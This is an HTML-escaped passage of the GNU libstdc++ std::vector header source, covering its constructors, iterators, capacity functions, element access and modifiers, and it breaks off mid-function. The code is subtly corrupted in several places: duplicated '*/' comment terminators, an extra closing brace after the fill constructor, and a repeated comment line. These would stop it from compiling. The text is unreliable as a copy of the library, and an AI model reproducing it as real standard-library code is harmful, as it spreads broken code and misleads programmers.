/&gt;&lt;br /&gt;      ~_Vector_base()&lt;br /&gt;      { _M_deallocate(this-&gt;_M_impl._M_start, this-&gt;_M_impl._M_end_of_storage&lt;br /&gt;              - this-&gt;_M_impl._M_start); }&lt;br /&gt;&lt;br /&gt;    public:&lt;br /&gt;      _Vector_impl _M_impl;&lt;br /&gt;&lt;br /&gt;      _Tp*&lt;br /&gt;      _M_allocate(size_t __n)&lt;br /&gt;      { return _M_impl.allocate(__n); }&lt;br /&gt;&lt;br /&gt;      void&lt;br /&gt;      _M_deallocate(_Tp* __p, size_t __n)&lt;br /&gt;      {&lt;br /&gt;    if (__p)&lt;br /&gt;      _M_impl.deallocate(__p, __n);&lt;br /&gt;      }&lt;br /&gt;    };&lt;br /&gt;//----------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;// START OF VECTOR IMPLEMENTATION&lt;br /&gt;&lt;br /&gt;//----------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;  /**&lt;br /&gt;   *  @brief A standard container which offers fixed time access to&lt;br /&gt;   *  individual elements in any order.&lt;br /&gt;   *&lt;br /&gt;   *  @ingroup Containers&lt;br /&gt;   *  @ingroup Sequences&lt;br /&gt;   *&lt;br /&gt;   *  Meets the requirements of a &lt;a href="tables.html#65"&gt;container&lt;/a&gt;, a&lt;br /&gt;   *  &lt;a href="tables.html#66"&gt;reversible container&lt;/a&gt;, and a&lt;br /&gt;   *  &lt;a href="tables.html#67"&gt;sequence&lt;/a&gt;, including the&lt;br /&gt;   *  &lt;a href="tables.html#68"&gt;optional sequence requirements&lt;/a&gt; with the&lt;br /&gt;   *  %exception of @c push_front and @c pop_front.&lt;br /&gt;   *&lt;br /&gt;   *  In some terminology a %vector can be described as a dynamic&lt;br /&gt;   *  C-style array, it offers fast and efficient access to individual&lt;br /&gt;   *  elements in any order and saves the user from worrying about&lt;br /&gt;   *  memory and size allocation.  Subscripting ( @c [] ) access is&lt;br /&gt;   *  also provided as with C-style arrays.&lt;br /&gt;  */&lt;br /&gt;  template&lt;typename _Tp, typename _Alloc = std::allocator&lt;_Tp&gt; &gt;&lt;br /&gt;    class vector : protected _Vector_base&lt;_Tp, _Alloc&gt;&lt;br /&gt;    {&lt;br /&gt;      // Concept requirements.&lt;br /&gt;      typedef typename _Alloc::value_type                _Alloc_value_type;&lt;br /&gt;      __glibcxx_class_requires(_Tp, _SGIAssignableConcept)&lt;br /&gt;      __glibcxx_class_requires2(_Tp, _Alloc_value_type, _SameTypeConcept)&lt;br /&gt;&lt;br /&gt;      typedef _Vector_base&lt;_Tp, _Alloc&gt;          _Base;&lt;br /&gt;      typedef vector&lt;_Tp, _Alloc&gt;            vector_type;&lt;br /&gt;      typedef typename _Base::_Tp_alloc_type         _Tp_alloc_type;&lt;br /&gt;&lt;br /&gt;    public:&lt;br /&gt;      typedef _Tp                    value_type;&lt;br /&gt;      typedef typename _Tp_alloc_type::pointer           pointer;&lt;br /&gt;      typedef typename _Tp_alloc_type::const_pointer     const_pointer;&lt;br /&gt;      typedef typename _Tp_alloc_type::reference         reference;&lt;br /&gt;      typedef typename _Tp_alloc_type::const_reference   const_reference;&lt;br /&gt;      typedef __gnu_cxx::__normal_iterator&lt;pointer, vector_type&gt; iterator;&lt;br /&gt;      typedef __gnu_cxx::__normal_iterator&lt;const_pointer, vector_type&gt;&lt;br /&gt;      const_iterator;&lt;br /&gt;      typedef std::reverse_iterator&lt;const_iterator&gt;  const_reverse_iterator;&lt;br /&gt;      typedef std::reverse_iterator&lt;iterator&gt;        reverse_iterator;&lt;br /&gt;      typedef size_t                     size_type;&lt;br /&gt;      typedef ptrdiff_t                  difference_type;&lt;br /&gt;      typedef _Alloc                                 allocator_type;&lt;br /&gt;&lt;br /&gt;    protected:&lt;br /&gt;      /** @if maint&lt;br /&gt;       *  These two functions and three data members are all from the&lt;br /&gt;       *  base class.  They should be pretty self-explanatory, as&lt;br /&gt;       *  %vector uses a simple contiguous allocation scheme.  @endif&lt;br /&gt;       */&lt;br /&gt;       */&lt;br /&gt;      using _Base::_M_allocate;&lt;br /&gt;      using _Base::_M_deallocate;&lt;br /&gt;      using _Base::_M_impl;&lt;br /&gt;      using _Base::_M_get_Tp_allocator;&lt;br /&gt;&lt;br /&gt;    public:&lt;br /&gt;      // [23.2.4.1] construct/copy/destroy&lt;br /&gt;      // (assign() and get_allocator() are also listed in this section)&lt;br /&gt;      /**&lt;br /&gt;       *  @brief  Default constructor creates no elements.&lt;br /&gt;       */&lt;br /&gt;      explicit&lt;br /&gt;      vector(const allocator_type&amp; __a = allocator_type())&lt;br /&gt;      : _Base(__a)&lt;br /&gt;      { }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  @brief  Create a %vector with copies of an exemplar element.&lt;br /&gt;       *  @param  n  The number of elements to initially create.&lt;br /&gt;       *  @param  value  An element to copy.&lt;br /&gt;       *&lt;br /&gt;       *  This constructor fills the %vector with @a n copies of @a value.&lt;br /&gt;       */&lt;br /&gt;      explicit&lt;br /&gt;      vector(size_type __n, const value_type&amp; __value = value_type(),&lt;br /&gt;         const allocator_type&amp; __a = allocator_type())&lt;br /&gt;      : _Base(__n, __a)&lt;br /&gt;      {&lt;br /&gt;    std::__uninitialized_fill_n_a(this-&gt;_M_impl._M_start, __n, __value,&lt;br /&gt;                      _M_get_Tp_allocator());&lt;br /&gt;    this-&gt;_M_impl._M_finish = this-&gt;_M_impl._M_start + __n;&lt;br /&gt;      }&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  @brief  %Vector copy constructor.&lt;br /&gt;       *  @param  x  A %vector of identical element and allocator types.&lt;br /&gt;       *&lt;br /&gt;       *  The newly-created %vector uses a copy of the allocation&lt;br /&gt;       *  object used by @a x.  All the elements of @a x are copied,&lt;br /&gt;       *  but any extra memory in&lt;br /&gt;       *  @a x (for fast expansion) will not be copied.&lt;br /&gt;       */&lt;br /&gt;      vector(const vector&amp; __x)&lt;br /&gt;      : _Base(__x.size(), __x.get_allocator())&lt;br /&gt;      { this-&gt;_M_impl._M_finish =&lt;br /&gt;      std::__uninitialized_copy_a(__x.begin(), __x.end(),&lt;br /&gt;                      this-&gt;_M_impl._M_start,&lt;br /&gt;                      _M_get_Tp_allocator());&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  @brief  Builds a %vector from a range.&lt;br /&gt;       *  @param  first  An input iterator.&lt;br /&gt;       *  @param  last  An input iterator.&lt;br /&gt;       *&lt;br /&gt;       *  Create a %vector consisting of copies of the elements from&lt;br /&gt;       *  [first,last).&lt;br /&gt;       *&lt;br /&gt;       *  If the iterators are forward, bidirectional, or&lt;br /&gt;       *  random-access, then this will call the elements' copy&lt;br /&gt;       *  constructor N times (where N is distance(first,last)) and do&lt;br /&gt;       *  no memory reallocation.  But if only input iterators are&lt;br /&gt;       *  used, then this will do at most 2N calls to the copy&lt;br /&gt;       *  constructor, and logN memory reallocations.&lt;br /&gt;       *  constructor, and logN memory reallocations.&lt;br /&gt;       */&lt;br /&gt;      template&lt;typename _InputIterator&gt;&lt;br /&gt;        vector(_InputIterator __first, _InputIterator __last,&lt;br /&gt;           const allocator_type&amp; __a = allocator_type())&lt;br /&gt;    : _Base(__a)&lt;br /&gt;        {&lt;br /&gt;      // Check whether it's an integral type.  If so, it's not an iterator.&lt;br /&gt;      typedef typename std::__is_integer&lt;_InputIterator&gt;::__type _Integral;&lt;br /&gt;      _M_initialize_dispatch(__first, __last, _Integral());&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  The dtor only erases the elements, and note that if the&lt;br /&gt;       *  elements themselves are pointers, the pointed-to memory is&lt;br /&gt;       *  not touched in any way.  Managing the pointer is the user's&lt;br /&gt;       *  responsibilty.&lt;br /&gt;       */&lt;br /&gt;      ~vector()&lt;br /&gt;      { std::_Destroy(this-&gt;_M_impl._M_start, this-&gt;_M_impl._M_finish,&lt;br /&gt;              _M_get_Tp_allocator());&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  @brief  %Vector assignment operator.&lt;br /&gt;       *  @param  x  A %vector of identical element and allocator types.&lt;br /&gt;       *&lt;br /&gt;       *  All the elements of @a x are copied, but any extra memory in&lt;br /&gt;       *  @a x (for fast expansion) will not be copied.  Unlike the&lt;br /&gt;       *  copy constructor, the allocator object is not copied.&lt;br /&gt;       */&lt;br /&gt;      vector&amp;&lt;br /&gt;      operator=(const vector&amp; __x);&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  @brief  Assigns a given value to a %vector.&lt;br /&gt;       *  @param  n  Number of elements to be assigned.&lt;br /&gt;       *  @param  val  Value to be assigned.&lt;br /&gt;       *&lt;br /&gt;       *  This function fills a %vector with @a n copies of the given&lt;br /&gt;       *  value.  Note that the assignment completely changes the&lt;br /&gt;       *  %vector and that the resulting %vector's size is the same as&lt;br /&gt;       *  the number of elements assigned.  Old data may be lost.&lt;br /&gt;       */&lt;br /&gt;      void&lt;br /&gt;      assign(size_type __n, const value_type&amp; __val)&lt;br /&gt;      { _M_fill_assign(__n, __val); }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  @brief  Assigns a range to a %vector.&lt;br /&gt;       *  @param  first  An input iterator.&lt;br /&gt;       *  @param  last   An input iterator.&lt;br /&gt;       *&lt;br /&gt;       *  This function fills a %vector with copies of the elements in the&lt;br /&gt;       *  range [first,last).&lt;br /&gt;       *&lt;br /&gt;       *  Note that the assignment completely changes the %vector and&lt;br /&gt;       *  that the resulting %vector's size is the same as the number&lt;br /&gt;       *  of elements assigned.  Old data may be lost.&lt;br /&gt;       */&lt;br /&gt;      template&lt;typename _InputIterator&gt;&lt;br /&gt;        void&lt;br /&gt;        assign(_InputIterator __first, _InputIterator __last)&lt;br /&gt;        {&lt;br /&gt;      // Check whether it's an integral type.  If so, it's not an iterator.&lt;br /&gt;      typedef typename std::__is_integer&lt;_InputIterator&gt;::__type _Integral;&lt;br /&gt;      _M_assign_dispatch(__first, __last, _Integral());&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;      /// Get a copy of the memory allocation object.&lt;br /&gt;      using _Base::get_allocator;&lt;br /&gt;&lt;br /&gt;      // iterators&lt;br /&gt;      /**&lt;br /&gt;       *  Returns a read/write iterator that points to the first&lt;br /&gt;       *  element in the %vector.  Iteration is done in ordinary&lt;br /&gt;       *  element order.&lt;br /&gt;       */&lt;br /&gt;      iterator&lt;br /&gt;      begin()&lt;br /&gt;      { return iterator (this-&gt;_M_impl._M_start); }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  Returns a read-only (constant) iterator that points to the&lt;br /&gt;       *  first element in the %vector.  Iteration is done in ordinary&lt;br /&gt;       *  element order.&lt;br /&gt;       */&lt;br /&gt;      const_iterator&lt;br /&gt;      begin() const&lt;br /&gt;      { return const_iterator (this-&gt;_M_impl._M_start); }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  Returns a read/write iterator that points one past the last&lt;br /&gt;       *  element in the %vector.  Iteration is done in ordinary&lt;br /&gt;       *  element order.&lt;br /&gt;       */&lt;br /&gt;      iterator&lt;br /&gt;      end()&lt;br /&gt;      { return iterator (this-&gt;_M_impl._M_finish); }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  Returns a read-only (constant) iterator that points one past&lt;br /&gt;       *  the last element in the %vector.  Iteration is done in&lt;br /&gt;       *  ordinary element order.&lt;br /&gt;       */&lt;br /&gt;      const_iterator&lt;br /&gt;      end() const&lt;br /&gt;      { return const_iterator (this-&gt;_M_impl._M_finish); }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  Returns a read/write reverse iterator that points to the&lt;br /&gt;       *  last element in the %vector.  Iteration is done in reverse&lt;br /&gt;       *  element order.&lt;br /&gt;       */&lt;br /&gt;      reverse_iterator&lt;br /&gt;      rbegin()&lt;br /&gt;      { return reverse_iterator(end()); }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  Returns a read-only (constant) reverse iterator that points&lt;br /&gt;       *  to the last element in the %vector.  Iteration is done in&lt;br /&gt;       *  reverse element order.&lt;br /&gt;       */&lt;br /&gt;      const_reverse_iterator&lt;br /&gt;      rbegin() const&lt;br /&gt;      { return const_reverse_iterator(end()); }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  Returns a read/write reverse iterator that points to one&lt;br /&gt;       *  before the first element in the %vector.  Iteration is done&lt;br /&gt;       *  in reverse element order.&lt;br /&gt;       */&lt;br /&gt;      reverse_iterator&lt;br /&gt;      rend()&lt;br /&gt;      { return reverse_iterator(begin()); }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  Returns a read-only (constant) reverse iterator that points&lt;br /&gt;       *  to one before the first element in the %vector.  Iteration&lt;br /&gt;       *  is done in reverse element order.&lt;br /&gt;       */&lt;br /&gt;      const_reverse_iterator&lt;br /&gt;      rend() const&lt;br /&gt;      { return const_reverse_iterator(begin()); }&lt;br /&gt;&lt;br /&gt;      // [23.2.4.2] capacity&lt;br /&gt;      /**  Returns the number of elements in the %vector.  */&lt;br /&gt;      size_type&lt;br /&gt;      size() const&lt;br /&gt;      { return size_type(end() - begin()); }&lt;br /&gt;&lt;br /&gt;      /**  Returns the size() of the largest possible %vector.  */&lt;br /&gt;      size_type&lt;br /&gt;      max_size() const&lt;br /&gt;      { return size_type(-1) / sizeof(value_type); }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  @brief  Resizes the %vector to the specified number of elements.&lt;br /&gt;       *  @param  new_size  Number of elements the %vector should contain.&lt;br /&gt;       *  @param  x  Data with which new elements should be populated.&lt;br /&gt;       *&lt;br /&gt;       *  This function will %resize the %vector to the specified&lt;br /&gt;       *  number of elements.  If the number is smaller than the&lt;br /&gt;       *  %vector's current size the %vector is truncated, otherwise&lt;br /&gt;       *  the %vector is extended and new elements are populated with&lt;br /&gt;       *  given data.&lt;br /&gt;       */&lt;br /&gt;      void&lt;br /&gt;      resize(size_type __new_size, value_type __x = value_type())&lt;br /&gt;      {&lt;br /&gt;    if (__new_size &lt; size())&lt;br /&gt;      erase(begin() + __new_size, end());&lt;br /&gt;    else&lt;br /&gt;      insert(end(), __new_size - size(), __x);&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  Returns the total number of elements that the %vector can&lt;br /&gt;       *  hold before needing to allocate more memory.&lt;br /&gt;       */&lt;br /&gt;      size_type&lt;br /&gt;      capacity() const&lt;br /&gt;      { return size_type(const_iterator(this-&gt;_M_impl._M_end_of_storage)&lt;br /&gt;             - begin()); }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  Returns true if the %vector is empty.  (Thus begin() would&lt;br /&gt;       *  equal end().)&lt;br /&gt;       */&lt;br /&gt;      bool&lt;br /&gt;      empty() const&lt;br /&gt;      { return begin() == end(); }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  @brief  Attempt to preallocate enough memory for specified number of&lt;br /&gt;       *          elements.&lt;br /&gt;       *  @param  n  Number of elements required.&lt;br /&gt;       *  @throw  std::length_error  If @a n exceeds @c max_size().&lt;br /&gt;       *&lt;br /&gt;       *  This function attempts to reserve enough memory for the&lt;br /&gt;       *  %vector to hold the specified number of elements.  If the&lt;br /&gt;       *  number requested is more than max_size(), length_error is&lt;br /&gt;       *  thrown.&lt;br /&gt;       *&lt;br /&gt;       *  The advantage of this function is that if optimal code is a&lt;br /&gt;       *  necessity and the user can determine the number of elements&lt;br /&gt;       *  that will be required, the user can reserve the memory in&lt;br /&gt;       *  %advance, and thus prevent a possible reallocation of memory&lt;br /&gt;       *  and copying of %vector data.&lt;br /&gt;       */&lt;br /&gt;      void&lt;br /&gt;      reserve(size_type __n);&lt;br /&gt;&lt;br /&gt;      // element access&lt;br /&gt;      /**&lt;br /&gt;       *  @brief  Subscript access to the data contained in the %vector.&lt;br /&gt;       *  @param n The index of the element for which data should be&lt;br /&gt;       *  accessed.&lt;br /&gt;       *  @return  Read/write reference to data.&lt;br /&gt;       *&lt;br /&gt;      *&lt;br /&gt;       *  This operator allows for easy, array-style, data access.&lt;br /&gt;       *  Note that data access with this operator is unchecked and&lt;br /&gt;       *  out_of_range lookups are not defined. (For checked lookups&lt;br /&gt;       *  see at().)&lt;br /&gt;       */&lt;br /&gt;      reference&lt;br /&gt;      operator[](size_type __n)&lt;br /&gt;      { return *(begin() + __n); }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  @brief  Subscript access to the data contained in the %vector.&lt;br /&gt;       *  @param n The index of the element for which data should be&lt;br /&gt;       *  accessed.&lt;br /&gt;       *  @return  Read-only (constant) reference to data.&lt;br /&gt;       *&lt;br /&gt;       *  This operator allows for easy, array-style, data access.&lt;br /&gt;       *  Note that data access with this operator is unchecked and&lt;br /&gt;       *  out_of_range lookups are not defined. (For checked lookups&lt;br /&gt;       *  see at().)&lt;br /&gt;       */&lt;br /&gt;      const_reference&lt;br /&gt;      operator[](size_type __n) const&lt;br /&gt;      { return *(begin() + __n); }&lt;br /&gt;&lt;br /&gt;    protected:&lt;br /&gt;      /// @if maint Safety check used only from at().  @endif&lt;br /&gt;      void&lt;br /&gt;      _M_range_check(size_type __n) const&lt;br /&gt;      {&lt;br /&gt;    if (__n &gt;= this-&gt;size())&lt;br /&gt;      __throw_out_of_range(__N("vector::_M_range_check"));&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;    public:&lt;br /&gt;      /**&lt;br /&gt;       *  @brief  Provides access to the data contained in the %vector.&lt;br /&gt;       *  @param n The index of the element for which data should be&lt;br /&gt;       *  accessed.&lt;br /&gt;       *  @return  Read/write reference to data.&lt;br /&gt;       *  @throw  std::out_of_range  If @a n is an invalid index.&lt;br /&gt;       *&lt;br /&gt;       *  This function provides for safer data access.  The parameter&lt;br /&gt;       *  is first checked that it is in the range of the vector.  The&lt;br /&gt;       *  function throws out_of_range if the check fails.&lt;br /&gt;       */&lt;br /&gt;      reference&lt;br /&gt;      at(size_type __n)&lt;br /&gt;      {&lt;br /&gt;    _M_range_check(__n);&lt;br /&gt;    return (*this)[__n];&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  @brief  Provides access to the data contained in the %vector.&lt;br /&gt;       *  @param n The index of the element for which data should be&lt;br /&gt;       *  accessed.&lt;br /&gt;       *  @return  Read-only (constant) reference to data.&lt;br /&gt;       *  @throw  std::out_of_range  If @a n is an invalid index.&lt;br /&gt;       *&lt;br /&gt;       *  This function provides for safer data access.  The parameter&lt;br /&gt;       *  is first checked that it is in the range of the vector.  The&lt;br /&gt;       *  function throws out_of_range if the check fails.&lt;br /&gt;       */&lt;br /&gt;      const_reference&lt;br /&gt;      at(size_type __n) const&lt;br /&gt;      {&lt;br /&gt;    _M_range_check(__n);&lt;br /&gt;    return (*this)[__n];&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  Returns a read/write reference to the data at the first&lt;br /&gt;       *  element of the %vector.&lt;br /&gt;       */&lt;br /&gt;      reference&lt;br /&gt;      front()&lt;br /&gt;      { return *begin(); }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  Returns a read-only (constant) reference to the data at the first&lt;br /&gt;       *  element of the %vector.&lt;br /&gt;       */&lt;br /&gt;      const_reference&lt;br /&gt;      front() const&lt;br /&gt;      { return *begin(); }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  Returns a read/write reference to the data at the last&lt;br /&gt;       *  element of the %vector.&lt;br /&gt;       */&lt;br /&gt;      reference&lt;br /&gt;      back()&lt;br /&gt;      { return *(end() - 1); }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  Returns a read-only (constant) reference to the data at the&lt;br /&gt;       *  last element of the %vector.&lt;br /&gt;       */&lt;br /&gt;      const_reference&lt;br /&gt;      back() const&lt;br /&gt;      { return *(end() - 1); }&lt;br /&gt;&lt;br /&gt;      // _GLIBCXX_RESOLVE_LIB_DEFECTS&lt;br /&gt;      // DR 464. Suggestion for new member functions in standard containers.&lt;br /&gt;      // data access&lt;br /&gt;      /**&lt;br /&gt;       *   Returns a pointer such that [data(), data() + size()) is a valid&lt;br /&gt;       *   range.  For a non-empty %vector, data() == &amp;front().&lt;br /&gt;       */&lt;br /&gt;      pointer&lt;br /&gt;      data()&lt;br /&gt;      { return pointer(this-&gt;_M_impl._M_start); }&lt;br /&gt;&lt;br /&gt;      const_pointer&lt;br /&gt;      data() const&lt;br /&gt;      { return const_pointer(this-&gt;_M_impl._M_start); }&lt;br /&gt;&lt;br /&gt;      // [23.2.4.3] modifiers&lt;br /&gt;      /**&lt;br /&gt;       *  @brief  Add data to the end of the %vector.&lt;br /&gt;       *  @param  x  Data to be added.&lt;br /&gt;       *&lt;br /&gt;       *  This is a typical stack operation.  The function creates an&lt;br /&gt;       *  element at the end of the %vector and assigns the given data&lt;br /&gt;       *  to it.  Due to the nature of a %vector this operation can be&lt;br /&gt;       *  done in constant time if the %vector has preallocated space&lt;br /&gt;       *  available.&lt;br /&gt;       */&lt;br /&gt;       */&lt;br /&gt;      void&lt;br /&gt;      push_back(const value_type&amp; __x)&lt;br /&gt;      {&lt;br /&gt;    if (this-&gt;_M_impl._M_finish != this-&gt;_M_impl._M_end_of_storage)&lt;br /&gt;      {&lt;br /&gt;        this-&gt;_M_impl.construct(this-&gt;_M_impl._M_finish, __x);&lt;br /&gt;        ++this-&gt;_M_impl._M_finish;&lt;br /&gt;      }&lt;br /&gt;    else&lt;br /&gt;      _M_insert_aux(end(), __x);&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  @brief  Removes last element.&lt;br /&gt;       *&lt;br /&gt;       *  This is a typical stack operation. It shrinks the %vector by one.&lt;br /&gt;       *&lt;br /&gt;       *  Note that no data is returned, and if the last element's&lt;br /&gt;       *  data is needed, it should be retrieved before pop_back() is&lt;br /&gt;       *  called.&lt;br /&gt;       */&lt;br /&gt;      void&lt;br /&gt;      pop_back()&lt;br /&gt;      {&lt;br /&gt;    --this-&gt;_M_impl._M_finish;&lt;br /&gt;    this-&gt;_M_impl.destroy(this-&gt;_M_impl._M_finish);&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  @brief  Inserts given value into %vector before specified iterator.&lt;br /&gt;       *  @param  position  An iterator into the %vector.&lt;br /&gt;       *  @param  x  Data to be inserted.&lt;br /&gt;       *  @return  An iterator that points to the inserted data.&lt;br /&gt;       *&lt;br /&gt;       *  This function will insert a copy of the given value before&lt;br /&gt;       *  the specified location.  Note that this kind of operation&lt;br /&gt;       *  could be expensive for a %vector and if it is frequently&lt;br /&gt;       *  used the user should consider using std::list.&lt;br /&gt;       */&lt;br /&gt;      iterator&lt;br /&gt;      insert(iterator __position, const value_type&amp; __x);&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  @brief  Inserts a number of copies of given data into the %vector.&lt;br /&gt;       *  @param  position  An iterator into the %vector.&lt;br /&gt;       *  @param  n  Number of elements to be inserted.&lt;br /&gt;       *  @param  x  Data to be inserted.&lt;br /&gt;       *&lt;br /&gt;       *  This function will insert a specified number of copies of&lt;br /&gt;       *  the given data before the location specified by @a position.&lt;br /&gt;       *&lt;br /&gt;       *  Note that this kind of operation could be expensive for a&lt;br /&gt;       *  %vector and if it is frequently used the user should&lt;br /&gt;       *  consider using std::list.&lt;br /&gt;       */&lt;br /&gt;      void&lt;br /&gt;      insert(iterator __position, size_type __n, const value_type&amp; __x)&lt;br /&gt;      { _M_fill_insert(__position, __n, __x); }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  @brief  Inserts a range into the %vector.&lt;br /&gt;       *  @param  position  An iterator into the %vector.&lt;br /&gt;       *  @param  first  An input iterator.&lt;br /&gt;       *  @param  last   An input iterator.&lt;br /&gt;       *&lt;br /&gt;       *  This function will insert copies of the data in the range&lt;br /&gt;       *  [first,last) into the %vector before the location specified&lt;br /&gt;       *  by @a pos.&lt;br /&gt;       *&lt;br /&gt;       *  Note that this kind of operation could be expensive for a&lt;br /&gt;       *  %vector and if it is frequently used the user should&lt;br /&gt;       *  consider using std::list.&lt;br /&gt;       */&lt;br /&gt;      template&lt;typename _InputIterator&gt;&lt;br /&gt;        void&lt;br /&gt;        insert(iterator __position, _InputIterator __first,&lt;br /&gt;           _InputIterator __last)&lt;br /&gt;        {&lt;br /&gt;      // Check whether it's an integral type.  If so, it's not an iterator.&lt;br /&gt;      typedef typename std::__is_integer&lt;_InputIterator&gt;::__type _Integral;&lt;br /&gt;      _M_insert_dispatch(__position, __first, __last, _Integral());&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  @brief  Remove element at given position.&lt;br /&gt;       *  @param  position  Iterator pointing to element to be erased.&lt;br /&gt;       *  @return  An iterator pointing to the next element (or end()).&lt;br /&gt;       *&lt;br /&gt;       *  This function will erase the element at the given position and thus&lt;br /&gt;       *  shorten the %vector by one.&lt;br /&gt;       *&lt;br /&gt;       *  Note This operation could be expensive and if it is&lt;br /&gt;       *  frequently used the user should consider using std::list.&lt;br /&gt;       *  The user is also cautioned that this function only erases&lt;br /&gt;       *  the element, and that if the element is itself a pointer,&lt;br /&gt;       *  the pointed-to memory is not touched in any way.  Managing&lt;br /&gt;       *  the pointer is the user's responsibilty.&lt;br /&gt;       */&lt;br /&gt;      iterator&lt;br /&gt;      erase(iterator __position);&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  @brief  Remove a range of elements.&lt;br /&gt;       *  @param  first  Iterator pointing to the first element to be erased.&lt;br /&gt;       *  @param  last  Iterator pointing to one past the last element to be&lt;br /&gt;       *                erased.&lt;br /&gt;       *  @return  An iterator pointing to the element pointed to by @a last&lt;br /&gt;       *           prior to erasing (or end()).&lt;br /&gt;       *&lt;br /&gt;       *  This function will erase the elements in the range [first,last) and&lt;br /&gt;       *  shorten the %vector accordingly.&lt;br /&gt;       *&lt;br /&gt;       *  Note This operation could be expensive and if it is&lt;br /&gt;       *  frequently used the user should consider using std::list.&lt;br /&gt;       *  The user is also cautioned that this function only erases&lt;br /&gt;       *  the elements, and that if the elements themselves are&lt;br /&gt;       *  pointers, the pointed-to memory is not touched in any way.&lt;br /&gt;       *  Managing the pointer is the user's responsibilty.&lt;br /&gt;       */&lt;br /&gt;      iterator&lt;br /&gt;      erase(iterator __first, iterator __last);&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  @brief  Swaps data with another %vector.&lt;br /&gt;       *  @param  x  A %vector of the same element and allocator types.&lt;br /&gt;       *&lt;br /&gt;       *  This exchanges the elements between two vectors in constant time.&lt;br /&gt;       *  (Three pointers, so it should be quite fast.)&lt;br /&gt;       *  Note that the global std::swap() function is specialized such that&lt;br /&gt;       *  std::swap(v1,v2) will feed to this function.&lt;br /&gt;       */&lt;br /&gt;      void&lt;br /&gt;      swap(vector&amp; __x)&lt;br /&gt;      {&lt;br /&gt;    std::swap(this-&gt;_M_impl._M_start, __x._M_impl._M_start);&lt;br /&gt;    std::swap(this-&gt;_M_impl._M_finish, __x._M_impl._M_finish);&lt;br /&gt;    std::swap(this-&gt;_M_impl._M_end_of_storage,&lt;br /&gt;          __x._M_impl._M_end_of_storage);&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;      /**&lt;br /&gt;       *  Erases all the elements.  Note that this function only erases the&lt;br /&gt;       *  elements, and that if the elements themselves are pointers, the&lt;br /&gt;       *  pointed-to memory is not touched in any way.  Managing the pointer is&lt;br /&gt;       *  the user's responsibilty.&lt;br /&gt;       */&lt;br /&gt;      void&lt;br /&gt;      clear()&lt;br /&gt;      {&lt;br /&gt;    std::_Destroy(this-&gt;_M_impl._M_start, this-&gt;_M_impl._M_finish,&lt;br /&gt;              _M_get_Tp_allocator());&lt;br /&gt;    this-&gt;_M_impl._M_finish = this-&gt;_M_impl._M_start;&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;    protected:&lt;br /&gt;      /**&lt;br /&gt;       *  @if maint&lt;br /&gt;       *  Memory expansion handler.  Uses the member allocation function to&lt;br /&gt;       *  obtain @a n bytes of memory, and then copies [first,last) into it.&lt;br /&gt;       *  @endif&lt;br /&gt;       */&lt;br /&gt;      template&lt;typename _ForwardIterator&gt;&lt;br /&gt;        pointer&lt;br /&gt;        _M_allocate_and_copy(size_type __n,&lt;br /&gt;                 _ForwardIterator __first, _ForwardIterator __last)&lt;br /&gt;        {&lt;br /&gt;      pointer __result = this-&gt;_M_allocate(__n);&lt;br /&gt;      try&lt;br /&gt;        {&lt;br /&gt;          std::__uninitialized_copy_a(__first, __last, __result,&lt;br /&gt;                      _M_get_Tp_allocator());&lt;br /&gt;          return __result;&lt;br /&gt;        }&lt;br /&gt;      catch(...)&lt;br /&gt;        {&lt;br /&gt;          _M_deallocate(__result, __n);&lt;br /&gt;          __throw_exception_again;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      // Internal constructor functions follow.&lt;br /&gt;&lt;br /&gt;      // Called by the range constructor to implement [23.1.1]/9&lt;br /&gt;      template&lt;typename _Integer&gt;&lt;br /&gt;        void&lt;br /&gt;        _M_initialize_dispatch(_Integer __n, _Integer __value, __true_type)&lt;br /&gt;        {&lt;br /&gt;      this-&gt;_M_impl._M_start = _M_allocate(__n);&lt;br /&gt;      this-&gt;_M_impl._M_end_of_storage = this-&gt;_M_impl._M_start + __n;&lt;br 